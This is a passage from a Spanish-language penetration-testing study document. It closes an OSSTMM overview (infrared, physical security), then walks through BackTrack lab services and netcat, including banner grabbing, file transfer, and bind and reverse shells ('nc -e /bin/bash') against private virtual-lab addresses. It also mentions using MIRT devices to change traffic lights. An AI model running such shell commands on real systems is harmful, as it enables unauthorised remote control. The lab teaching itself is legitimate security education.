ejemplo, una opción muy atractiva para delincuentes.

10. Testeo de Infrarrojos

La radiación infrarroja, radiación térmica o radiación IR es un tipo de radiación electromagnética de
mayor longitud de onda que la luz visible, pero menor que la de las microondas. Consecuentemente,
tiene menor frecuencia que la luz visible y mayor que las microondas.
El nombre de infrarrojo significa por debajo del rojo pues su comienzo se encuentra adyacente al
color rojo del espectro visible.

Los infrarrojos se pueden categorizar en:

• infrarrojo cercano (0,78-1,1 µm)
• infrarrojo medio (1,1-15 µm)
• infrarrojo lejano (15-100 µm)

Infrared Data Association (IrDA) define un estándar físico en la forma de transmisión y recepción
de datos por rayos infrarrojo. IrDA se crea en 1993 entre HP, IBM, Sharp y otros.
Esta tecnología está basada en rayos luminosos que se mueven en el espectro infrarrojo. Los
estándares IrDA soportan una amplia gama de dispositivos eléctricos, informáticos y de
comunicaciones, permite la comunicación bidireccional entre dos extremos a velocidades que
oscilan entre los 9.600 bps y los 4 Mbps. Esta tecnología se encuentra en muchos ordenadores
portátiles, y en un creciente número de teléfonos celulares, sobre todo en los de fabricantes líderes
como Nokia y Ericsson.
El FIR (Fast Infrared) se encuentra en estudio, con unas velocidades teóricas de hasta 16 Mbps.

En cuanto aspectos de seguridad, ofrece cada vez menos y menos atractivo desde el punto de vista
de un atacante. Con la aparición de nuevas tecnologías como Bluetooth, wireless etc... los
dispositivos que utilizan infrarrojos van disminuyendo. Además, se encuentran limitados por el
espacio y los obstáculos. El hecho de que la longitud de onda de los rayos infrarrojos sea tan
pequeña (850-900 nm), hace que no pueda propagarse de la misma forma en que lo hacen las
señales de radio, por lo que un atacante necesitaría estar muy cerca, y siendo así, probablemente le
sea más útil realizar el ataque por otros medios, ya que dispone de acceso físico al dispositivo.
Existen redes infrarrojas que suelen estar dirigidas a oficinas o plantas de oficinas de reducido
tamaño. Algunas empresas, van un poco más allá, transmitiendo datos de un edificio a otro
mediante la colocación de antenas en las ventanas de cada edificio, aunque esto está cada vez
menos extendido.
Como ejemplos de qué se puede realizar desde el punto de vista de un atacante:
Controlar televisiones u otros dispositivos que utilicen infrarrojos como mando a distancia. Quizás
podría utilizarse como forma de denegación de servicio, o distraer a un posible vigilante.

Página 62
Cambiar semáforos a verde. Algunos semáforos son manejados por infrarrojos, por lo que es
posible manejarlos. Existen manuales por la red para construir dispositivos que realicen esto. Basta
con teclear en cualquier buscador MIRT, e incluso lo venden en algunas web.
Algunas puertas de garaje antiguas solían funcionar por infrarrojos, pero hoy en día la gran mayoría
funcionan por radiofrecuencia.

Por lo que vemos, que las implicaciones no son demasiadas debido al avance de las tecnologías (ya
que las tecnologías inalámbricas favoritas son radiofrecuencia), pero debemos realizar algunas
comprobaciones mínimas para poder evitar algún susto.

11. Revisión de privacidad

En este módulo que cierra la sección inalámbrica de la OSSTMM. En esta concretamente, se
estudia si es posible el sniffar (o husmear) las conexiones inalámbricas, en busca de datos que
pudieran ser descifrados por un atacante.

Sección F – Seguridad Física

En esta sección se revisan y comprueban condiciones y propiedades de la empresa desde un punto
de vista mucho menos informático que el resto de la metodología. Generalmente, existe un experto
dentro del equipo de auditores que será especialista en seguridad física, por lo que no se dedicará
especial atención a este apartado. No obstante, se incluye una breve explicación de cada uno de los
módulos a nivel informativo.

1. Revisión de Perímetro
En este módulo se revisan todas las medidas de seguridad que existen para proteger los límites de la
organización y sus activos. Se revisan medidas de protección tales como vallas, luces, muros etc...

2. Revisión de Monitorización
En este módulo se revisan dispositivos de monitorización de los puntos de acceso. Mas que la
revisión de los propios dispositivos, se busca el comprobar que lugares están monitorizados, si los
dispositivos están correctamente situados. Es decir, si hay lugares sin vigilar, otros demasiado
vigilados etc...

3. Testeo de Controles de Acceso

En este módulo, se listan todos los lugares de acceso que tiene la organización físicamente
hablando. Comprobando lo complejos que son, tipos de autenticación para darle privilegios de
acceso a esa persona etc... Ejemplos podrían ser, el requerir una tarjeta de identificación que hay
que mostrar a un vigilante jurado, escáner de retina, tipos de alarma etc...

4. Revisión de Respuesta ante Alarma

Aquí se comprueba el tipo de respuestas que tiene una organización ante una alarma. Se revisa qué
personas deberían estar involucradas ante qué alarmas, y cómo deberían de actuar ante los distintos
tipos de alarma que pueden activarse

5. Revisión de Localización
Éste es un método de ganar acceso a una organización a través de las debilidades de su localización
y protección de elementos externos. Por ejemplo, comprobar líneas de visión que existen hasta la

Página 63
organización, posibles lugares desde los que es posible escuchar dentro de la organización (por
ejemplo escuchas láser), horas de luz solar, clima etc... Es decir, se trata de revisar condiciones
externas a la propia organización, y que pudieran afectar a su seguridad según donde se encuentra la
empresa.

6. Revisión del Entorno

En este módulo se revisan condiciones alrededor de la organización, tales como las condiciones de
desastres naturales de la empresa, políticas locales, costumbres y ética. Se comprueban condiciones
que no dependen de la propia organización, y no solamente físicamente, sino a su contexto y
entorno.

Página 64
Parte 2: Conceptos Técnicos

Página 65
Introducción
La finalidad de esta parte técnica del documento, es tratar de ver, y estudiar, un conjunto de
herramientas software de uso en las auditorías de seguridad informática.
Se presentarán, divididos en dos partes, distintos puntos de vista para poder aplicar las herramientas
que se van a estudiar, enfocado hacia el aprendizaje de las mismas por parte del lector. Así mismo,
se presentan también junto con los problemas y observaciones encontradas durante el estudio del
autor.
Como primera parte, se estudiará la Backtrack, junto con algunas herramientas que contiene. Será
una primera parte de aprendizaje de herramientas, siguiendo un orden lógico para comprender su
aprendizaje, aunque sin una relación causal entre ellas.
La segunda parte, será introducir un caso práctico en el que poder utilizar herramientas de seguridad
con un objetivo en mente: obtener el control del sistema. Por lo tanto, se irán presentando las
herramientas en un orden causal (siguiendo las necesidades que vayan apareciendo para cumplir el
objetivo), e introduciendo valoraciones y aportaciones personales del autor.
A continuación, se presenta ya la primera parte: La distribución Backtrack.

Introducción a Backtrack y justificación

Backtrack nace de la fusión de dos conocidas distribuciones de linux : Whax (evolución de
Whoppix , o white hat Knoppix) y Auditor Security Collection, tras lo cual ganó en popularidad
llegando a ser votada como la mejor distribución live de seguridad informática según insecure.org
(web de gran prestigio dentro del ámbito de la seguridad informática). Ésta distribución ha ido
basándose en distintas distribuciones, aunque a fecha de hoy, está basada en una Slackware,
optimizada para ser utilizada por security penetration testers.
Se ha elegido utilizar esta distribución de linux, porque aparte de la gran fama de la que dispone
(muy merecida, por cierto), contiene una gran gama de herramientas dedicadas a la seguridad
informática preinstaladas, que junto con la posibilidad de arrancar el cd como live cd, lo hacen una
de las herramientas de seguridad informática más potentes que existen actualmente. Y no sólo en el
mundo del software libre, sino que incluye también al software de pago. Muchas empresas lo
utilizan para realizar sus auditorías de seguridad informática, y hoy en día goza de un gran futuro,
siendo la versión 4 (beta) la más recientemente puesta a la disposición del público.

Instalación del ambiente de pruebas

Como primera decisión, debíamos decidir el sistema operativo a utilizar para poder realizar el
presente trabajo. Viendo las opciones disponibles, se decidió instalar una Ubuntu 8.04 a 64 bit como
sistema operativo base sobre el cual trabajar. Se ha elegido porque es un sistema operativo libre (y
gratuito) con 64 bits, para poder aprovechar los 4GB de RAM que tiene el equipo. La otra
alternativa, (desechada por la razón expuesta anteriormente) era Windows Vista a 32 bit.
El siguiente paso, ha sido el decidir qué entorno de virtualización utilizar. En el mercado existen
bastantes alternativas, y entre las libres (y más famosas) están VMWare, VirtualBox y Qemu. Dado
que el autor del presente texto había trabajado anteriormente con VMWare, se ha decidido utilizar
éste. La siguiente cuestión a decidir, era elegir qué VMWare utilizar. Las tres alternativas que se han
barajado, han sido el Player, el Server y el Workstation. Una de las prioridades, era el poder tener la
mínima carga posible, por lo que se ha descartado el Server (preparado para servidores).
Seguidamente, la duda estaba entre Player y Workstation. A pesar de que el Workstation es más
completo (y puede crear máquinas virtuales), es de pago, por lo que se ha decidido utilizar el
VMWare player. Se descargó el programa de la web oficial (http://vmware.com/), nos registramos
(de forma gratuita), y tras la descarga se instaló en el sistema. Ahora bien, existe un problema: el

Página 66
programa que contenía la red emulada con la que se va a realizar las pruebas, está en el formato .iso,
y nos falta un entorno de ejecución, es decir, la máquina virtual VMWare. VMWare Player no nos
permite la creación de máquinas virtuales, por lo que se estuvo estudiando la posibilidad de buscar
entre técnicos de laboratorio de la facultad de informática, o algún conocido que pudiera crear la
máquina virtual para asociarle la iso (de forma legal). Finalmente se encontró una solución, que
describo a continuación:
En los archivos .vmx de las máquinas virtuales para VMWare, viene especificado en texto plano, la
configuración de la máquina virtual. El siguiente extracto, es parte de una máquina virtual
cualquiera, en el que se ha modificado la línea donde viene especificada la iso que he modificado a
mano para poder utilizar la iso descargada:
.encoding = "UTF-8"
# VM Machine Info
guestOS = "linux"
displayName = "Linux"
config.version = "7"
memsize = "128"

# CDROM Info
ide1:0.present = "TRUE"
ide1:0.fileName = "Lab_Virtual_Labs.DragonJAR.iso"
ide1:0.deviceType = "cdrom-image"

Al ejecutar VMWare Player, elegimos cargar una máquina virtual existente, seleccionando el .vmx
que acabábamos de modificar, cargándose perfectamente.
Tras esto, solo nos queda descargarnos una máquina virtual de la web oficial de Backtrack 3 (http://
www.remote-exploit.org/backtrack.html).
Una vez descargada, solamente queda el cargar la máquina virtual con VMWare, que funcionó sin
problemas.
Por último, se ha cambiado el tipo la configuración de red de las máquinas virtuales para que
utilicen NAT, creando así una “intranet”, para que puedan comunicarse unas con otras, y además,
puedan comunicarse con el exterior.

Backtrack servicios básicos

En esta sección, se explica como iniciar algunos servicios básicos que ofrece la distribución
Backtrack preinstaladas. Será de utilidad para poder realizar pruebas contra estos servicios, o para
poder utilizar esta distribución de forma remota.

Cambiar la contraseña que viene por defecto en BackTrack.

Una parte esencial de la seguridad, es el no dejar nunca las configuraciones por defecto que ofrecen
los programas. Y más aún si se trata de algo tan importante como lo es la contraseña de root. Por lo
tanto, lo primero que se ha realizado sobre la distribución, es el cambiar la contraseña utilizando el
comando passwd para introducir la contraseña que queramos.

Configuración y puesta en marcha los servicios básicos de BackTrack.

Se ha explorado por el árbol de directorios y los menus gráficos, observando las distintas
herramientas.
Tras echar un vistazo, y viendo los servicios disponibles, se eligió SSH, Web, atftp y vnc. Esto es

Página 67
así porque vienen a ser servicios que o bien son populares en la red actual, o bien porque ofrecen
bastante utilidad al auditor. Pasamos pues, a describirlas a continuación:

Puesta en marcha de servidor SSH

A continuación, se ha probado a ejecutar un servidor de SSH, para lo que se ha generado una clave
pública, para poder habilitar el servicio:

#sshd-generate
Generating public/private rsa1 key pair.
Your identification has been saved in /etc/ssh/ssh_host_key.
Your public key has been saved in /etc/ssh/ssh_host_key.pub.
The key fingerprint is:
df:2e:7b:0c:af:34:75:ed:bb:ba:37:e0:b0:21:7c:15 root@bt
Generating public/private rsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_rsa_key.
Your public key has been saved in /etc/ssh/ssh_host_rsa_key.pub.
The key fingerprint is:
f6:19:15:65:84:26:87:bd:e8:de:1b:03:e8:d3:5f:00 root@bt
Generating public/private dsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_dsa_key.
Your public key has been saved in /etc/ssh/ssh_host_dsa_key.pub.
The key fingerprint is:
dc:f4:cf:6f:09:68:eb:5b:c8:b6:ae:10:c5:c2:69:71 root@bt

A continuación, se ha lanzado el servidor (que estará escuchando en el puerto 22):

#/usr/sbin/sshd

Y ya que el comando no devuelve respuesta, hemos comprobado que efectivamente está

escuchando:
# netstat -ant|grep 22
tcp 0 0 0.0.0.0:22 0.0.0.0:*
LISTEN

Finalmente, hemos probado a conectarnos al servidor desde una terminal real:

~$ ssh root@192.168.197.129
root@192.168.197.129's password:
Last login: Fri Feb 20 13:38:38 2009
Linux 2.6.21.5.
bt ~ # echo hola

Página 68
hola

Como vemos, funciona correctamente. Es una forma sencilla de poder conectarnos a Backtrack
cuando queramos trabajar desde él, a través de una shell de la máquina local.
El siguiente servicio a probar, será un servidor Web, uno de los servicios desde los cuales las
empresas se comunican con el exterior:

Servidor Web
Uno de los servicores webs más utilizados a lo largo de la red, es el Apache. Es bien conocido, ya
que es libre, y suele ser bastante robusto. Por lo tanto, será un buen ejemplo para aprender a ponerlo
en marcha, y poder practicar, y un buen ejemplo de servicio básico de Bactrack.
Para ponerlo en marcha, ejecutamos:
bt ~ # apachectl start
httpd: Could not reliably determine the server's fully qualified
domain name, using 127.0.0.1 for ServerName
bt ~ # netstat -ant|grep 80
tcp 0 0 192.168.197.129:80 0.0.0.0:*
LISTEN

Aquí, vemos como hemos ejecutado el apache y la respuesta que obtenemos. Parece que nos
devuelve un error, pero es normal obtenerlo. Como no tenemos configurado un dominio para el
Apache, éste no es capaz de encontrarlo, y dice que estará en 127.0.0.1 (la loop ip). Para comprobar
que el servicio está en marcha, entramos en nuestro navegador web favorito, introducimos la ip de
la máquina virtual de la Backtrack, y comprobamos que el servidor web está corriendo (Figura 20:
):

Figura 20:

Tenemos ante nosotros, una página web que ofrece Apache por defecto, para que podamos ver que
efectivamente el servicio está en marcha, y funcionando correctamente.

Servidor atftpd
El siguiente servicio a probar, es el atftpd, que es el servidor que incluye backtrack 3 para TFTP
(Trivial File Transfer Protocol). Vamos a ejecutar el daemon, y dejarlo escuchando en el puerto 69:
bt / # atftpd --daemon --port 69 /tmp/

Página 69
bt / # netstat -anu | grep 69
udp 0 0 0.0.0.0:69 0.0.0.0:*

Para comprobar que funciona, en la máquina de Bactrack, ponemos un archivo, por ejemplo:
bt tmp # echo hola> hola.txt

Y ahora, desde nuestra máquina local, instalamos el tftp (el cliente) si no lo tenemos. En nuestro
caso, hemos ejecutado:
alberaan@Smaug:~$ sudo apt-get install tftp

Al acabar la instalación, vamos a intentar bajarnos a la máquina local, el archivo hola.txt:

alberaan@Smaug:~$ tftp
tftp> connect
(to) 192.168.197.129
tftp> get hola.txt
Received 6 bytes in 0.0 seconds
tftp> q

Podremos comprobar entonces, que el archivo lo tenemos en el directorio actual donde hemos
ejecutado el cliente tftp.

Servidor VNC
El último servicio básico que vamos a probar, es el vncserver. VNC (virtual network computing) es
un sistema de escritorio remoto, el cual puede ser muy útil en caso de querer realizar tests de
penetración. Ejecutaremos el vncserver en la backtrack:
bt ~ # vncserver

You will require a password to access your desktops.

Password: acceder
Verify: acceder
Would you like to enter a view-only password (y/n)? n

New 'X' desktop is bt:1

Starting applications specified in /root/.vnc/xstartup

Log file is /root/.vnc/bt:1.log

En el código pegado arriba, he puesto el password visible, para poder poner un ejemplo. Ahora

Página 70
trataremos de acceder al escritorio remoto. Primero, vamos a comprobar que el servicio está
corriendo, y de paso, averiguamos el puerto concreto (puede variar de una versión a otra) , y
podemos hacer el netstat como hemos venido haciendo hasta ahora:
bt / # netstat -anu | grep 590
udp 0 0 0.0.0.0:5902 0.0.0.0:* LISTEN

Bien, ahora sabemos, que el puerto 5902 está escuchando el servidor vnc. Para comprobarlo, vamos
a usar el navegador web (en mi caso Firefox), y comprobar que funciona. Se cargará el siguiente
applet(Figura 21: ):

Figura 21:

Introducimos ahí la contraseña que hemos puesto al arrancar el vncserver, y nos encontramos con el
escritorio de nuestra backtrack(Figura 22: ):

Figura 22:

El servicio no funciona demasiado bien a través del cliente web, pero es una forma muy cómoda de
poder ver lo que hay al otro lado de la conexión, y poder manejarlo a golpe de click. Servicios
similares se vienen utilizando desde hace mucho tiempo por hackers para poder divertirse con la
víctima, ya que ofrece un control muy vistoso.
Una vez vistos todos los servicios básicos, es hora de avanzar hacia la siguiente sección, y estudiar
la herramienta Netcat.

Backtrack Netcat
Netcat es una herramienta multiplataforma que lee y escribe datos a través de conexiones de red.

Página 71
Era utilizado como una herramienta utilizada por administradores y programadores para depurar
apliaciones de red, con la curiosidad de que no se había descubierto todos los comandos que
mermitía. Por estos motivos, tuvo un gran auge entre la comunidad Hacker, y a menudo era referida
como “la navaja multiusos del hacker”. Entre otras cosas (que veremos más adelante), permite
comprobar disponibilidad de puertos, qué aplicaciones corren y escuchan este puerto, conectarnos a
un servicio de red de forma manual (como haríamos con Telnet). Fue usado, sobre todo por su
capacidad de abrir puertas traseras.
Una vez nos hemos documentado un poco sobre qué es, y un poco de su historia, nos sentamos
delante de nuestra Backtrack (que trae Netcat por defecto). Lo que se ha hecho, ha sido abrir de
nuevo el servidor ssh y el servidor Apache, para poder realizar las pruebas desde la máquina local
hacia la Backtrak, y aprender a conectarnos usando Netcat. Una vez nos hemos conectado a la
Backtrack por ssh tecleamos:
bt ~ # nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-e prog program to exec after connect
[dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to
8
-G num source-routing pointer: 4, 8,
12, ...
-h this cruft
-i secs delay interval for lines sent,
ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]

Página 72
Aquí vemos las distintas opciones que nos ofrece Netcat. Una opción interesante, es “-vv” para
poder obtener la mayor información posible. Tecleamos para ver que aplicación hay escuchando en
el puerto 22 en nuestra propia máquina:
bt ~ # nc -vv 192.168.197.129 22
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 22 (ssh) open
SSH-1.99-OpenSSH_5.0
sent 0, rcvd 21

Efectivamente, hay un servidor ssh escuchando ese puerto. Concretamente, OpenSSH 5.0. Ahora,
vamos ver el puerto 80:
bt ~ # nc -vv 192.168.197.129 80
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 80 (http) open
sent 0, rcvd 0

Como vemos, hay un servidor de http abierto.

Ya comprendemos el uso básico de Netcat, y ahora, sería conveniente aprender como utilizarlo para
realizar tests de intrusión.

Identificando Banners de Servidores web

Una de las funcionalidades de Netcat, es la identificaciones de banners. Esto es, ver información
que nos devuelve un servidor cuando nos conectamos desde un cliente (generalmente desde modo
texto).
La identificación de Banners nos es útil, porque nos devuelve algo de información del sistema de
forma no intrusiva, y por lo tanto, totalmente legal, y sin levantar sospechas.
En nuestro caso, vamos a hacerlo contra el servidor web de Backtrack.
Para ello, hay que teclear:
bt ~ # nc -vv 192.168.197.129 80
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 80 (http) open

El prompt se queda esperando a que realicemos alguna petición. Aquí, tecleamos una petición http,
y le damos a enter dos veces (importante, http espera 2 retornos de carro según el estándar), tras lo
cual obtenemos lo siguiente:
bt ~ # nc -vv 192.168.197.129 80
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 80 (http) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Página 73
Date: Fri, 13 Mar 2009 12:04:10 GMT
Server: Apache/2.2.8 (Unix) DAV/2
Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT
ETag: "485a0-2c-3e9564c23b600"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html

De aquí, lo más importante que obtenemos, son los datos del server (Apache versión 2.2.8 UNIX),
que nos servirá para en un futuro poder encontrar exploits o bugs conocidos para esa versión
concreta del servidor. Telnet nos ofrece esta misma información, pero vemos que nc incluye una
herramienta igual (o equivalente integrada), que nos proporciona la misma funcionalidad, por lo que
nos puede ser una herramienta sustituta, y así poder aprender como hacerlo en sistemas donde falte
una o la otra. También es bueno aprenderlo desde Netcat porque ya que es una herramienta que va a
integrar más funcionalidades, podemos trabajar de forma rápida con ella, al no tener que ir
cambiando de programa.

Modo Listen de Netcat

La siguiente funcionalidad que vamos a ver de netcat, es el modo listen de netcat. Es una tarea que
ha sido muy utilizada con Netcat, para depurar clientes/aplicaciones de red, por ejemplo.
En nuestro caso, vamos a montar dos netcats en dos máquinas distintas, para comunicarnos como si
fuera un chat. Vamos a usar nuestra Backtrack y nuestra máquina local (netcat viene instalado
tambien por defecto en Ubuntu 8.04, que es la que estamos utilizando).
Primero, desde la backtrack, vamos a iniciar el netcat en modo escucha:
bt ~ # nc -lvvp 12345
listening on [any] 12345 ...
192.168.197.1: inverse host lookup failed: Unknown host

Acabamos de dejar escuchando en el puerto 12345 el netcat. Ahora, nos conectamos desde Ubuntu.
Abrimos una terminal y tecleamos:
alberaan@Smaug:~$ nc -vv 192.168.197.129 12345
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open

Ya tenemos las dos máquinas conectadas en un chat(Figura 23: ):

Página 74
Figura 23:

La utilidad de esto en un principio podría parecer nula (mas allá de sus aplicaciones de ocio), pero
como veremos más adelante, el mundo de posibilidades que nos ofrece, es inmenso, sobre todo
desde el punto de vista de tests de intrusión. Una de nuestars metas a la hora de tratar de penetrar en
un sistema, será el poder colocar un Netcat en modo listen (o similar)en la máquina objetivo. Es por
ello, vital, aprender a realizar esto.

Envío de archivos
Lo siguiente que vamos a probar, es a enviar archivos mediante Netcat. La utilidad práctica de esto,
es que una vez tengamos acceso al sistema, podamos intercambiar ficheros con él, y poder
continuar con la auditoría. Un usuario malintencionado podría subir virus, troyanos etc.., y de igual
forma, nosotros podríamos subir software similar para poder continuar con la escalada de
privilegios, o continuar con el test de penetración en cuestión. Para ello, vamos a dejar netcat a la
escucha en Backtrack, y redirigiremos la salida a un archivo de texto:
bt ~ # nc -lvp 12345 > salida.txt
listening on [any] 12345 ...

Y desde Ubuntu, creamos el archivo de texto a enviar, y nos conectamos como hemos hecho antes,
enviando el contenido del archivo:
alberaan@Smaug:~$ echo Esto es un archivo > test.txt
alberaan@Smaug:~$ nc -vv 192.168.197.129 12345 < test.txt
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open

Finalmente, vemos el contenido del archivo salida.txt que habrá quedado en Backtrack:
bt ~ # cat salida.txt
Esto es un archivo

Hemos de resaltar, que esto se podría hacer con cualquier tipo de archivo, ya que se transmite bit a
bit, por lo que podríamos transferir no sólo texto, sino cualquier tipo de archivo. Hemos realizado
de nuevo lo anterior, solo que redirigiendo un archivo de imagen en lugar de texto, y transferido con
el mismo método. Desde Backtrack:

Página 75
bt ~ # nc -lvp 12345 > imagen.jpeg
listening on [any] 12345 ...

Desde Ubuntu:
alberaan@Smaug:~$ nc -vv 192.168.197.129 12345 < imagen.jpeg
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open

Finalmente, desde Backtrack podemos abrir la imagen con cualquier visor de imágenes, y
comprobar, que efectivamente, el archivo se ha transferido correctamente.
Esta última parte, resultó ser sorprendente: ¿como es posible que, con un programa con el que antes
habíamos enviado texto, podamos ahora enviar una imagen?
Ahora que ya conocemos como comunicarnos con la máquina víctima, es un paso lógico el
aprender como controlarla con una shell.

Administración remota
Vamos a ejecutar desde Ubuntu el Netcat para que abra una shell en la máquina remota, y poder
ejecutar comandos. Esta es una de las metas de cualquier hacker, para tener control sobre la
máquina/as objetivo. El asaltarla, y el poder procurarse de una interfaz para poder interactuar con la
máquina, y dejarse una puerta trasera para poder acceder posteriormente de una forma más fácil y
rápida. Netcat ofrece una forma de hacerlo, ya que permite el que se ejecute un programa en cuanto
algo se conecte a él. Lo primero que podemos pensar, es en una shell: bash. Dicho esto, vamos a
proceder a obtener control desde Ubuntu sobre Backtrack:
Desde backtrack dejaremos netcat a la escucha del puerto 12345, tal y como hemos hecho antes.
Ahora usaremos un nuevo parámetro: -e seguido del ejecutable que queremos que se ejecute al
conectarse a él un cliente. Hay que añadir, que no ejecutará el programa si no ponemos la ruta
completa o la relativa. Como queremos obtener una shell, ponemos la shell de linux que está en
/bin/bash. En nuestro caso nos hemos movido a ese directorio y ejecutado la orden desde allí. En
caso de querer obtener una shell en windows, lo que haríamos sería poner cmd.exe, que es la “shell”
que ofrece esta gama de sistemas operativos. A continuación la orden en backtrack:
bt bin # nc -lvp 12345 -e bash
listening on [any] 12345 ...
192.168.197.1: inverse host lookup failed: Unknown host
connect to [192.168.197.129] from (UNKNOWN) [192.168.197.1] 44119
Hemos puesto Netcat a la escucha, y decidmos que queremos que ejecute bash.
Ahora nos conectamos desde la shell de Ubuntu, tal y como venimos haciendo hasta ahora. Esto
hará que se ejecute el bash en la máquina cliente, y podremos empezar a trabajar como si fuera una
shell local (aunque algunas cosas cambiarán, por ejemplo, no se mantienen los alias):
alberaan@Smaug:~$ nc -v 192.168.197.129 12345
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open

Página 76
Aquí (aunque no aparezca el promt), podemos ejecutar órdenes igual que si fuera nuestra propia
shell: hemos conseguido entrar en el sistema (con los permisos que tenga el usuario que haya
ejecutado el Netcat en la máquina víctima).

Shell inversa
Muchas veces, sucede que no tenemos control sobre el cómo acceder a la máquina víctima. Ya sea
porque la máquina víctima tiene una IP dinámica, no es visible desde otras redes porque está tras un
router con NAT. También puede ser porque el firewall filtre las conexiones entrantes etc... Una
buena idea para solventar esto, es usar Netcat para crear una shell inversa.
Una shell remota normal, abre un puerto y espera recibir conexiones entrantes desde un cliente (el
modo de proceder está descrito en el paso anterior). Esto no se podría hacer en alguno de los casos
descritos en el párrafo anterior.
Una shell inversa, se suele utilizar cuando se da un caso de los mencionados arriba. Es el cliente el
que se conecta a un puerto abierto de la máquina atacante. De esta forma, el atacante puede
controlar que no se den las condiciones mencionadas en su propia red/máquina.
Vista la importancia de esta opción en netcat, pasamos a probarlo en nuestras terminales:
Para este ejemplo, vamos a usar la máquina local (Ubuntu) como atacante, y la Backtrack como
víctima.
Desde Ubuntu, dejamos netcat a la escucha, de la misma forma que venimos haciendo hasta ahora:
alberaan@Smaug:~$ nc -lvp 12345
listening on [any] 12345 ...

Y desde Backtrack, le decimos a que IP conectarnos, y que ejecute /bin/bash en cuanto se realice la
conexión:
bt ~ # nc -v 192.168.197.1 12345 -e /bin/bash
192.168.197.1: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.1] 12345 (?) open

Ahora, desde nuestra máquina ubuntu, podemos ejecutar un ls, para comprobar que efectivamente,
tenemos una shell abierta en Backtrack. Como nota adicional, podemos ver, que el atacante se
conecta como si fuera el usuario que ejecuta el netcat en la máquina víctima. Desde ubuntu
ejecutamos el comando whoami (para saber que usuario somos), y obtenemos como respuesta:
whoami
root

Con esto, finalizamos la primera parte del trabajo. Ya conocemos algunas herramientas y servicios
básicos que tenemos a nuestra disposición y pasamos a la segunda parte.

Test de penetración
La finalidad de esta segunda parte, será el mostrar el aprendizaje de herramientas y técnicas para
poder realizar un Test de Penetración haciendo uso de la distribución BackTrack. Es decir,
aplicaremos los conocimientos aprendidos en el primer taller a un ejemplo “real” (emulado), y nos
adentraremos en los test de intrusión en un sistema que no importará que se dañe, y legal para
realizarlo, y por lo tanto, un entorno de prácticas ideal.
Como segundo objetivo, será el obtener la contraseña de root del sistema atacado.

Página 77
Introducción
Conociendo ya algunas herramientas de seguridad, y tras haber estudiado la auditoría OSSTMM,
tenemos el conocimiento suficiente como para poder realizar un pequeño test de intrusión, y
adentrarnos en un caso concreto. Este escenario, es una .iso que fue creada con la finalidad de ser
utilizada como entorno de pruebas de seguridad informática. Su descripción es la siguiente:
El escenario sobre el cual vamos a trabajar, emula el CEO (Chief
Executive Officer o director ejecutivo) de una pequeña empresa que
ha sido presionado por el Comité Administrativo para ser objeto de
un Test de Penetración a realizarse desde la empresa. El Director
General afirma que su empresa es segura, cree además de que este
Test de Penetración será un enorme desperdicio de dinero, sobre
todo porque ya tiene una solución de exploración (escaneo) de
vulnerabilidades (Nessus). Para hacer “felices” a los del Comité
Administrativo, él decide contratarle a usted y le dá un plazo de
5 días para realizar el trabajo, pues como se mencionó él no cree
que la empresa sea vulnerable a cualquier intento de acceso no
autorizado.
Su tarea es analizar solo un servidor en el cual se aloja una
página Web que ofrece información de contacto de la misma.
El Director General espera que usted intente con todos los tipos
de ataques que estén a su disposición, pues está seguro de que
usted no podrá vulnerar el sistema y obtener acceso.
Demostrar que el sistema es vulnerable sería la mejor manera de
concienciar al Director General, para desde allí implementar
mejores prácticas en materia de seguridad Informática.

Escaneo e identificación del sistema

Lo primero que hemos de realizar al entrar en un sistema que no conocemos, es el ver que hay.
Deberíamos intentar conocer todo lo que hay en marcha dentro de los límites de la auditoría.
La meta de esta sección será conocer la situación y características de la red que estamos auditando.
Conocer que máquinas están funcionando, y que servicios están disponibles. También querremos
conocer las versiones de los programas que los implementan, y sobre que sistemas operativos están
montados. La herramienta más conocida en este campo, es sin duda, el NMAP.

NMAP

Introducción
NMAP o Network Mapper, es una herramienta, que en un principio es un scanner de puertos. Es
decir, nos sirve para comprobar qué está escuchando en un determinado puerto. Pero, también nos
sirve para, por ejemplo, ejecutar scripts que ejecuten malware, hacer pings a redes enteras etc... Es
un programa libre, y está atribuido Fyodor.
Nmap apareció en septiembre de 1997, en un artículo de la revista Phrack Magazine. El código
fuente venía incluido. Desde entonces se han incluido cientos de mejoras, y está considerado como
el escaner de puertos por excelencia.
Poniéndonos ya con aspectos prácticos, vamos a intentar descubrir la IP de nuestro sistema
virtualizado. Lo llamaremos a partir de ahora “red virtualizada”.

Página 78
Host discovery
Lo primero que hacemos, es hacer un host discovery. Como ya hemos dicho, lo primero que
debemos hacer al entrar en un sistema, es ver que hay. Hacer un host discovery se refiere a echar un
vistazo a ver que máquinas existen, y están funcionando. Nos interesará para que posteriormente
podamos hacer estudios de estas máquinas disponibles sin tener que generar demasiado trabajo a
nuestras herramientas, y se centren solamente en las máquinas disponibles.
Para ello, vamos a hacer un ping scan (hace pings a todas las máquinas que especifiquemos en el
rango. ¿Ahora bien, a que rango se lo hacemos? Desde Ubuntu, vamos a ver nuestras interfaces
